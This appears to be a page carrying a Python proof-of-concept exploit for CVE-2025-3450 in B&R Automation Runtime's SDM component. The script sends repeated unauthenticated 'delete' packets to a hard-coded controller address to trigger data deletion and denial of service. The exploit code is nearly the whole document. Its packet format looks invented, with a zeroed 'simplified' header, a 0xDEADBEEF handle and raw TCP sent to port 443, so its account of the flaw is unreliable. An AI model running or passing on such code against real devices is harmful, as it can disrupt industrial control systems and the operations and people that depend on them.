CVE-2025-3450：B&R Automation Runtime SDM组件资源锁定漏洞

# CVE-2025-3450 PoC - B&R Automation Runtime SDM Resource Locking Exploit # Vulnerability: Improper Resource Locking in SDM Component # Impact: Unauthenticated remote data deletion causing DoS # CVSS: 10.0 (Critical) import socket import struct import time TARGET_HOST = "192.168.1.100" # Target B&R Automation Runtime device TARGET_PORT = 443 # SDM service port def build_sdm_exploit_packet(): """ Build a malformed SDM request that exploits improper resource locking. The packet triggers concurrent resource access without proper locking, causing data deletion and DoS. """ # SDM protocol header (simplified) header = b'\x00\x00\x00\x00' # Magic bytes header += struct.pack('>H', 0x0001) # Version header += struct.pack('>H', 0x0040) # Command type: resource operation header += struct.pack('>I', 0x00000001) # Sequence number # Payload: trigger improper locking path payload = b'\x00' * 16 # Session token (none required - PR:N) payload += struct.pack('>I', 0xDEADBEEF) # Resource handle payload += b'\x01' # Delete operation flag payload += b'\xFF\xFF\xFF\xFF' # Invalid lock state to bypass locking packet = header + payload return packet def exploit(): """Send exploit packets to trigger the vulnerability""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((TARGET_HOST, TARGET_PORT)) # Send concurrent requests to exploit race condition for i in range(50): packet = build_sdm_exploit_packet() sock.send(packet) time.sleep(0.01) print(f"[*] Exploit sent to {TARGET_HOST}:{TARGET_PORT}") sock.close() except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": exploit()